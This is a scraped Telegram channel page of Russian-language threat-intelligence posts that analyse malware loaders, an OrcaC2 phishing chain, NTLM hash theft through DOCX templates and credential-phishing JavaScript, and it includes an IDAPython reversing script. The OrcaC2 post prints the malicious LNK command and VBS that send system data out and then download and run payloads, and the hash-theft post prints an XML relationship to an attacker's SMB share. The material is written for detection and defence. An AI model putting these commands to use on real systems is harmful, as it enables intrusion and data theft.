ESCalator
3.98K subscribers
227 photos
1 video
1 file
95 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
加入频道
🚘 Один ленивый драйвер

Недавно группа киберразведки PT ESC обнаружила исполняемый файл с «необычным» названием, подкрепленным выделяющейся иконкой PDF-файла:

Исх 3548 о формировании государственных заданий на проведение фундаментальных и поисковых исследований БГТУ «ВОЕНМЕХ» им. Д.Ф. Устинова.exe


Не поддаемся на уловки злоумышленников и определяем, что данный файл представляет собой модуль, написанный на C#, и бежим в dnSpy. К счастью, не наблюдаем значительных следов обфускации и начинаем разбираться. В глаза бросаются «встроенные» в ресурсы файлы: faylyk, OneDrive, OneDriver и Исх_по_списку_БГТУ_ВОЕНМЕХ.pdf.

1️⃣ faylyk — это иконка, которая будет отображаться в трее при запуске программы;

2️⃣ OneDrive — легитимная копия программы от Microsoft OneDrive;

3️⃣ Исх_по_списку_БГТУ_ВОЕНМЕХ.pdf — декой, легитимный документ.

🧐 А вот OneDriver — что-то необычное, что-то такое, что сразу приковывает внимание.

Проследовав в точку входа, убеждаемся, что наибольший интерес представляет класс MyCustomApplicationContext, в котором видим манипуляцию с файлами из ресурсов:
Исх_по_списку_БГТУ_ВОЕНМЕХ.pdf записывается по пути %APPDATA%\Documents, OneDrive по пути C:\Users\Public\OneDrive.exe, а OneDriver.exe записывается по пути %APPDATA%\Driver\OneDrives_v2_1.exe и добавляется в автозагрузку, путем создания LNK-файла в директории %APPDATA%\Microsoft\Windows\Start Menu\Programs\StartUp.

Чтобы отвести внимание, загрузчик одновременно открывает записанный декой PDF-файл и загрузчик OneDriver.exe.

🦥 LazyOneLoader (так мы назвали OneDriver.exe) представляет из себя загрузчик, написанный на языке Go. Данный загрузчик достаточно тривиален, но обладает некоторыми особенностями.

Принцип работы достаточно прост: имеется зашифрованный буфер, сохраненный в формате base64, который в процессе работы программы расшифровывается, используя операцию xor с ключом 4c776449576c50636c5a507251.

Следом запускается процесс OneDrive.exe, полученный на предыдущем шаге, в статусе SUSPENDED, в котором выделяется память, используя LazyDLL для общения с Native-функциями (VirtualAlloc). В эту память копируется буфер с расшифрованным шеллкодом, и, используя LazyDLL (а именно функцию VirtualProtect), меняются флаги памяти на Executable.

И, наконец, используя функцию QueueUserAPC, создается объект асинхронной функции, который начинает своt выполнение после вызова функции ResumeThread главного потока программы.

💤 К сожалению, получить конечный пейлоад, определяемый этим загрузчиком, на данный момент не представляется возможным: злоумышленник деактивировал свою С2-инфраструктуру (домен phpsymfony.com). Но мы предполагаем, что следующими этапами атаки является загрузка давно известного Cobalt Strike, а следом и дальнейшее горизонтальное перемещение.

IoCs:

Исх 3548 о формировании государственных заданий на проведение фундаментальных и поисковых исследований БГТУ «ВОЕНМЕХ» им. Д.Ф. Устинова.rar
ab310ddf9267ed5d613bcc0e52c71a08
e1b88c619da8f0630e2879ab22d580ba41b36a62
14b1cd92b0a95ec76b31b0c2ec498b90d82054206f1056a58844513f89baeb55

Исх 3548 о формировании государственных заданий на проведение фундаментальных и поисковых исследований БГТУ «ВОЕНМЕХ» им. Д.Ф. Устинова.exe
fad1ddfb40a8786c1dd2b50dc9615275
34918c4d41e69dafe953fee14416f18d5e849081
ad80cbf12e5bee38a197f7bcafbe24983fdd3df6915e5a33a01f0311685e8b24

Исх\_по\_списку\_БГТУ_ВОЕНМЕХ.pdf
4c771efafb9141633ca83df3b21ad365
5f01f5f77239fb304777ce481bc3cbad40d964d4
420866ad15d5de2a6cdfab7ca317e5b20090098ad905d7cac784719f3e33360c

OneDrives_v2_1.exe
cac4db5c6ecfffe984d5d1df1bc73fdb
ef559b3e1c89fd03c427de706a1ce1fed2ae17aa
fdf0ea5d761352791545b1af0223853b31592996600c4ee5f1122e546c6165d3

phpsymfony.com


#TI #malware #ioc
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Лок'тар огар! 👺

В современном мире атаки, направленные на получение первоначального доступа, стали более сложными. Злоумышленники используют многоступенчатую полезную нагрузку, что позволяет им постепенно продвигаться к своей цели, не вызывая подозрений, и увеличивает шансы на успех атаки.

Одним из наиболее популярных механизмов для инициации такой атаки являются LNK-файлы. При их запуске начинается выполнение цепочки скриптов, каждый из которых запускает следующий элемент цепочки, скачивая его с удаленного узла или распаковывая из собственных ресурсов.

🔗 В качестве характерного примера рассмотрим одну такую цепочку. Наше внимание она привлекла несколькими факторами:

1️⃣ Использование легитимного ресурса как хоста для полезной нагрузки.

2️⃣ Использование необычного фреймворка в качестве полезной нагрузки (необычного в том смысле, что до этого мы ни разу не видели его в атаках).

В ходе исследования наш отдел нашел ZIP-архив — вложение для фишингового письма, представленного на скриншоте выше. Внутри — два документа и LNK-файл со скриптом. Содержимое скрипта показано ниже (домен, с которого скачивалась нагрузка, намерено изменен):

"C:\Windows\System32\conhost.exe"
conhost conhost cmd /c expand C:\Windows\system32\curl.exe C:\Users\public\Downloads\cl.exe & tasklist |
curl -k -X POST --data-binary @- -A "PLMN ~%date% ~%time%" https://example.com -o C:\Users\public\Downloads\No15.vbs
&& wscript C:\Users\public\Downloads\No15.vbs


Любопытно, что полезная нагрузка скачивается с легитимного домена российской образовательной организации. По всей видимости, злоумышленники заранее взломали учреждение и начали использовать его ресурсы для своих атак.

🕵️‍♂️ Цепочка атаки раскрывается следующим образом:

-> LNK-файл.
-> Скрипт No15.vbs. Он собирает сведения об установленных антивирусах и скачивает .exe. Код скрипта:

Set oj = CreateObject("WScript.Shell")
oj.Run "cmd /c curl -k https://example.com
fileid=PLMN -o C:\Windows\temp\2024_Determination_to_initiate_a_case.docx
C:\Windows\temp\2024_Determination_to_initiate_a_case.docx", 0, False
oj.Run "cmd /c wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
C:\Users\Public\Downloads\cl.exe -k -X POST --data-binary @- https://example.com
get=1PLMN1731912032 -o C:\Users\public\Downloads\libPLMN1731912032.exe",0,True
oj.Run "C:\Users\public\Downloads\libPLMN1731912032.exe"


-> libPLMN1731912032.exe — исполняемый файл, написанный на языке Go, сборка пакета которого имеет название Pinocchio. Именно этот бинарь и является сборкой клиента (в терминологии проекта — puppet) OrcaC2.

🧐 Далее приведем описание основной функциональности:

• Удаленное выполнение команд.
• Загрузка и выгрузка файлов.
• Кейлоггер + снятие скриншотов экрана.
• Прямой и обратный прокси-сервер.
• Коммуникация через WebSocket.

На самом деле возможностей у OrcaC2 куда больше. Подробный список можно найти в GitHub-репозитории проекта (осторожно, README написан на китайском языке).

Сам же фреймворк разделяется на три «модуля»:

Puppet — клиентская часть, запускается на устройстве жертвы.
Master — подключается к серверу, через него управляет клиентами.
Server — связующее звено между Pupper и Master.

IoCs:

46c0fd35e4699265db0223cee00b3da48ec157e2d7a51590c87b077918f76d5b — ZIP-архив.
88aa1bd65a6ff5d92ac7041e9685c20e08286709971881660df9c0f4a04c06db — LNK-файл.
0ed459cf2682b12d95613ca8f1f1b9d71bcc529c681f8a2a0ec347bba7d8f4b6 — скрипт No15.vbs.
601f00162583c82d933ad27ec6b3f900d2efde81a1f4cf3724e5cfc4875305cb — libPLMN1731912032.exe.
http://45.147.200.38:443 — C2-сервер.


#hacktool #phishing #ioc #C2
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Ваш хеш, пожалуйста… Спасибо! 🙏

В начале января мы обнаружили файл, который привлек внимание своим содержанием и структурой. Исследование метаданных документа, а также используемых техник соединения с сервером по протоколу SMB через DOCX-файлы позволило установить связь с хакерской группировкой PhaseShifters. Информацию о ней мы публиковали в статье в ноябре 2024 года (рисунок 1). В этой статье также подробно описаны взаимосвязи с группировкой UAC-0050, о которой пойдет речь далее.

🆕 С2-сервер новый, подход старый

Первый файл, про который хочется поговорить, — декой. Он содержит фотографию (рисунок 2) документа, якобы принадлежащего одной компании в сфере военно-промышленного комплекса (создание БПЛА).

Как и в предыдущих атаках, внутри документа есть ссылка-шаблон, с помощью которой происходит получение хеш-сумм NTLM пользователя. Такая техника называется Forced Authentication: посредством шаблона или взаимосвязей с внешними сущностями устройство устанавливает соединение с сервером злоумышленников по протоколу SMB, из-за чего Windows автоматически пытается провести аутентификацию на этом ресурсе.

В файле присутствует обращение к SMB-ресурсу на внешнем сервере 45.155.249.126. Активность сервера наблюдается с ноября 2024 года, соединение происходит через механизм связей (relations) частей WordprocessingML-документа:

<ns0:Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="file://\\45.155.249.126\19i6LJ4qNx81SkAFg4mtUbf5.png" TargetMode="External" /></ns0:Relationships>


👤 Поискав другие файлы, связанные с этим IP-адресом, мы выявили еще несколько документов-приманок для атак на организации (рисунки 3–5). Кроме того, стоит отметить важную деталь: в метаданных указано имя пользователя, создавшего или последним изменившего документ, — kib vol.

Наличие связи с внешним SMB-сервером, а также уникальные метаданные позволили зацепиться за еще один файл, который, в свою очередь, связывался с другим IP-адресом (31.214.157.167) злоумышленников — АО-******- -12904ДО.docx. Этот документ был задействован в атаках с использованием Ozone RAT и Darktrack RAT, которые также описаны у нас в статье (рисунок 1).

Просмотрев подсеть 31.214.157.0/24, можно определить как минимум еще один IP-адрес, который замечен в подобных инцидентах, — 31.214.157.49. Этот сервер задействовался в атаках как PhaseShifters (например, ГВПК ответ цифровому развитию.docx), так и UAC-0050 (с использованием домена tax-gov-ua.com). Напомним, что сходства этих двух группировок все еще требуется тщательно исследовать.

IoCs

С2-серверы:

45.155.249.126
31.214.157.167
31.214.157.49


SHA-256:

3172bf0dd76232fc633214f0ba92b25d27b136a2ed5d9e4e7d06b0686ef4d34c
3eca76737c6aee34b4c38845fde13bceed23a31d39e958893a44f42380ff84d5
fd50307b7f08d037c5d37f2505c8de6edc9c57e1843f4434309a135f4b43ff5c
5061e83a380a9c3ebe91bd5de80fe8f11b666a182efbebe13a1b0dfbc2842487


#TI #C2 #ioc #Phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Как давно ты реверсил JavaScript? 😲

Продолжая тему фишинга (ранее мы смотрели на таргетированные подозрительные документы, приводящие к получению первоначального доступа или сбору NTLM-хешей), хотим показать примеры свежих атак, направленных на массового пользователя, привыкшего пользоваться продуктами известной компании Microsoft.

Посмотрим, как злоумышленники генерируют поддельные HTML-страницы, мимикрирующие под формы ввода аутентификационных данных, с точки зрения JavaScript-кода и применяемых техник обфускации, и даже найдем интересные пасхалки от фишеров.

1️⃣ Первый пример

Самым примитивным примером из сегодняшней подборки является использование конструкции:

document.write(unescape(atob(


Внутри нее зашит внешний подгружаемый скрипт flyit.com.ar/wp-includes/certificates/js_host/outlk.js, который содержит в себе jQuery библиотеку и дополнительный код, отправляющий на campusmin.sitb.edu.ar/completion/classes/php_host/_xls3.php?_do=xxx_form креды пользователя.

Минутка ликбеза: функция atob позволяет декодировать base64-строку, а document.write записывает содержимое аргумента в DOM активной страницы, подменяя ее текущее содержимое. В данном случае обфускация минимальная — в основном используется только сжатие (минификация).

2️⃣ Второй пример

Это более интересный пример, поскольку он содержит много обфусцированного кода. Передаваемая пользователю HTML-страничка содержит только обфусцированный скрипт, который исполняется уже на стороне браузера.

Бесплатные деобфускаторы не справляются с преобразованием кода, поэтому прибегнем к ручному реверсу JavaScript: используемые выделенные функции, методы atob и document.write формируют веб-страницу, которая впоследствии подгружает скрипт с 7354770595-1323985617.cos.ap-seoul.myqcloud.com/attach%2Fbootstrap.min.js (обфусцирован с помощью бесплатного сервиса obfuscator.io), где как раз и содержится сбор кредов пользователя. Затем логин и пароль отправляются на C2 злоумышленников — miguel.uscourtaccess.com/next.php.

Сможете найти пасхалочки на скрине? 😏

3️⃣ Третий пример

В третьем случае для формирования поддельной страницы, представляющую собой брендированную версию стандартной формы ввода аутентификационных данных, используется фишинговый набор WikiKit. Он получил свое название за перенаправления на Википедию в случае отключенного в браузере JavaScript или недействительной фишинговой ссылки. Этот скрипт блокирует использование отладочных средств (хотя обойти их в целом несложно), а собранные данные отправляются на cotceur.com.

Какие у нас рекомендации? 🧐

Кроме «не открывать файлы из подозрительных писем», что кажется неактуальным для этого канала (нам же наоборот интересно их открыть), приведем ряд простых, но важных поинтов, на которые точно стоит обращать внимание при анализе веб-страниц:

на вкладке Network браузера проверяйте origin подгружаемых дополнительных ресурсов, все-таки jQuery лучше получать с легитимного домена jQuery или известного CDN.

использование функции atob (декодирование base64), еще и с

aHR0cHM6
aHR0cDo


внутри (в результате декодирования получается https: или http:) — поистине страшная смесь! А если добавить к этому document.write (добавления контента в html-документ) и unescape (устаревший метод для декодирования URI) — это точно редфлаг 🚩

антидебаггинг, конечно, используется в легитимных целях, но очень редко: стоит задуматься, если встречаете его (эти техники, кстати, можно обойти довольно легко — к примеру, в случае третьего фишинга использовать не горячие клавиши вроде F12 или Ctrl+Shift+i, а вручную открыть инструменты в настройках или записать трафик).

💡 Хотим отметить, что не стоит видеть подозрительность везде — например, сжатие кода и популярные виды обфускации часто используют в легитимных проектах! Решили поразбирать JS-код сами just for run и увидели странный POST-запрос? Будем верить, что вы указали фальшивый пароль 🤞🏻

Happy hunting!

#hunt #network #phishing
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from CyberSquatting RU Alerts
Красивое 😏

ptsecuriity[.]ru
ptsecurit[.]ru
ptsecuriti[.]ru
ptsecuritty[.]ru
ptsecuritu[.]ru
ptsecuritya[.]ru
ptsecurityy[.]ru
ptsecuriy[.]ru
ptsecurrity[.]ru
ptsecurtiy[.]ru
ptsecurty[.]ru
ptsecuruty[.]ru
Please open Telegram to view this post
VIEW IN TELEGRAM
Стиль гадюки 🐍

Может ли злоумышленник использовать всем известные инструменты и оставаться незамеченным более полутора лет? Наш ответ — да.

В середине октября 2024 года департамент киберразведки экспертного центра безопасности Positive Technologies (PT Expert Security Center) зафиксировал таргетированную рассылку Revenge RAT, нацеленную на сотрудников финансовых подразделений российских компаний.

Особое внимание привлекли необычные африканские названия управляющей инфраструктуры злоумышленников. Углубившись в исследование, мы выявили и отследили новую, ранее не описанную APT-группировку, атакующую российские компании как минимум с мая 2023 года.

В связи с использованием африканских названий, регулярными обновлениями семплов и приманок, «пятнистостью» названий вредоносных файлов и продолжительной скрытностью в киберпространстве мы назвали группировку DarkGaboon — в честь африканской габонской гадюки, которую можно встретить в окрестностях стратовулкана Килиманджаро.

😏 Подробнее о группировке и ее техниках вы можете прочитать в исследовании на нашем сайте.

#TI #APT #Malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Статический резолв импортов 👨‍💻

Динамический резолв импортов по хеш-суммам в ВПО — тема заезженная, но для проведения статического анализа необходимо разметить имена и прототипы API. Чтобы из того, что представлено на скрине 1, получить то, что на скрине 2, и не мучаться с ручной разметкой, можно написать скрипт IDAPython.

😠 На примере DodgeBox рассмотрим резолв, который заключается в вычислении адреса API-функции и помещении его в глобальную структуру. Реализация — на скрине 3.

Алгоритм хеширования опустим, поскольку здесь он не столь важен. Перед началом необходимо подготовить словарь с именами функций WinAPI и их хеш-суммами. Для этого выберем те библиотеки, что используются в бинаре. Здесь есть имена DLL в открытом виде, но иногда — только хеш-суммы, в этом случае можно составить словарь из всех системных DLL. Наш словарь — на скрине 4.

Далее убеждаемся, что члены в структуре заполняются последовательно, чтобы автоматически извлечь из кода хеш-суммы, имена модулей. Внимание — первый член структуры пропускается. Создаем структуру нужного размера (скрин 5), чтобы она вместила все функции.

Чтобы извлечь хеш-суммы и имена библиотек, пишем функцию, которая пройдет по всем вызовам get_proc_by_hash и извлечет ее аргументы.

def get_hashes(resolve_API_addr, get_proc_by_hash_addr):
result = []
func: ida_funcs.func_t
func = ida_funcs.get_func(resolve_API_addr)

cur = func.start_ea
while cur < func.end_ea:
if get_operand_value(cur, 0) == get_proc_by_hash_addr:
result.append(get_args(cur))
cur = ida_search.find_code(cur, SEARCH_DOWN)

return result


Функция get_args поднимается на несколько шагов вверх от операции call и извлекает аргументы.

def get_args(call_addr):
func_name_hash = None
lib_name = None

cur = call_addr
True:
if print_insn_mnem(cur) == "mov" and print_operand(cur, 0) == "r8d":
func_name_hash = get_operand_value(cur, 1) & 0xFFFFFFFF
elif print_insn_mnem(cur) == "lea" and print_operand(cur, 0) == "rcx":
lib_name = ida_bytes.get_strlit_contents(get_operand_value(cur, 1), -1, STRTYPE_C_16).decode()

if func_name_hash and lib_name:
return lib_name, func_name_hash

cur = ida_search.find_code(cur, SEARCH_UP)


На выходе get_hashes получим список, который используем для заполнения структуры API. Основная функция будет выглядеть так:

struc: ida_struct.struc_t = ida_struct.get_struc(ida_struct.get_struc_id("API"))

funcs = get_hashes(0x180007A90, 0x1800078E0)
for i in range(1, len(funcs) + 1):

lib_name, func_name_hash = funcs[i - 1]
member: ida_struct.member_t = struc.members[i]

func_name = get_func_name(lib_name, func_name_hash, winapi_hashes_dict)
if func_name:
ida_struct.set_member_name(struc, member.soff, func_name)
func_tinfo = get_func_tinfo(func_name)
if func_tinfo:
ida_struct.set_member_tinfo(struc, member, 0, func_tinfo, 0)


Функция get_func_name проста в реализации, она находит в словаре имя API по хеш-сумме. А вот get_func_tinfo более интересна: она создает объект, содержащий прототип функции, который мы также применим к члену структуры.

def get_func_tinfo(func_name):
tinfo = ida_typeinf.get_named_type(None, func_name, 0)
if tinfo:
type_s = tinfo[1]
field_s = tinfo[2]
t = ida_typeinf.tinfo_t()
t.deserialize(None, type_s, field_s)
t.create_ptr(t)
return t
else:
return None


Функция ida_typeinf.get_named_type получает информацию о типе, который содержится в Type Library (*.til). Вызов выглядит так:

Python>get_func_tinfo("GetWindowsDirectoryW")
UINT (__stdcall *)(LPWSTR lpBuffer, UINT uSize)


Однако на самом деле функция возвращает объект типа ida_typeinf.tinfo_t.

Структура API после вызова скрипта представлена на скрине 6. Если применить ее к глобальной переменной, резолв превратится в то, что видно на скрине 7, и можно будет удобно анализировать бинарь статически, не запуская отладчик.

Есть, конечно, соблазн написать функцию make_beautifully, которая сама вычитает офсеты, создаст структуру и члены внутри нее, но об этом в другой раз.

#tip #reverse #idapython
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM